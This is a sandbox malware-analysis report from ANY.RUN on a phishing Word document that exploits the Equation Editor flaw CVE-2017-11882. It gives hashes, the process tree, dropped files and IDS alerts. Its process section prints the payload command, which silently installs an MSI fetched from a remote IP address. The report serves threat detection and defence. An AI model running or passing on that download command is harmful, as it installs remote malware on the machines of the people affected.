analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

BunkerRequest-MV ORIENT GLORY.doc

Full analysis: https://app.any.run/tasks/4ec66cac-0fc8-407f-915c-8a042ff25c6c
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: November 14, 2018, 08:27:58
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, LF line terminators
MD5:

D5B5F38CD58B638699515059DB260606

SHA1:

8C0E6DDFBBA62AE934FB0861B8E7BE1777796C37

SHA256:

D080B456522A5D0EDF41FFC903E886843C5DBAE469108FB60A2ED40DA90B2152

SSDEEP:

768:QmKfcZpEHUqUisx+NLBEF7uSHRvmd3UJA0LKmawrxCaGUN+dTtQ2md+m0LRZxByG:Q4ZcUisxYtwAIqWGx6uv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 1264)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3188)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3188)

  • INFO

    • Application was crashed

      • EQNEDT32.EXE (PID: 3188)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1840)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
1840"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\BunkerRequest-MV ORIENT GLORY.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3188"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
1264cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/4.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1619
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1872msiexec.exe /i http://34.244.180.39/4.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2996C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Total events
1 405
Read events
731
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
3
Unknown types
4

Dropped files

PID
Process
Filename
Type
1840WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9A18.tmp.cvr —
MD5:—
SHA256:—
2996msiexec.exeC:\Windows\Installer\MSIAE4C.tmp —
MD5:—
SHA256:—
1840WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{864E21F2-A151-4C2A-BE02-0EF0949B9841}.tmp —
MD5:—
SHA256:—
1840WINWORD.EXEC:\Users\admin\Desktop\~$nkerRequest-MV ORIENT GLORY.docpgc
MD5:29BD0321AAAFFD1D526E3B4E3C99AF60
SHA256:AAF31005D05D8C705ED51670FD815A76D8C94484684D9764C1194CB6501500F1
1840WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\BunkerRequest-MV ORIENT GLORY.doc.LNKlnk
MD5:BF0BF5D362D0A97189FB64ED4BA4B6C3
SHA256:679595B89EEB72C83457F3D98F90517DD43DA44EE9B205296FD49BA6A602633A
1840WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:D3F56FD286E58E48BD65B16272D3FC16
SHA256:50CA30BD5FA22B8F3573E544969865DA735737887C477C4AD64C1B4B14EF8B41
1840WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:85283E8C73AC10A255BBE4286BF1BDB3
SHA256:0020F0707504300A48B9B083CDF48B2783CA33CFEDF40EFB79F861241E0A6BF5
1840WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{81C69B43-A7D0-4CD4-B8FA-48A5802CE76C}.tmpbinary
MD5:099F647A1626D0F93AE3EA2491754050
SHA256:FF5593F677A9E87DDD3DB06CF45AD9E99DE6F5FBC56674E379E7AF7F65FAFB64
1840WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lextext
MD5:F3B25701FE362EC84616A93A45CE9998
SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
1840WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{35D1D8E9-F3AB-448C-9639-747DA36267B5}.tmpsmt
MD5:5D4D94EE7E06BBB0AF9584119797B23A
SHA256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2996
msiexec.exe
GET
—
34.244.180.39:80
http://34.244.180.39/4.msi
IE
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2996
msiexec.exe
34.244.180.39:80
—
Amazon.com, Inc.
IE
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
2996
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
2996
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
2996
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2996
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
BunkerRequest-MV ORIENT GLORY.doc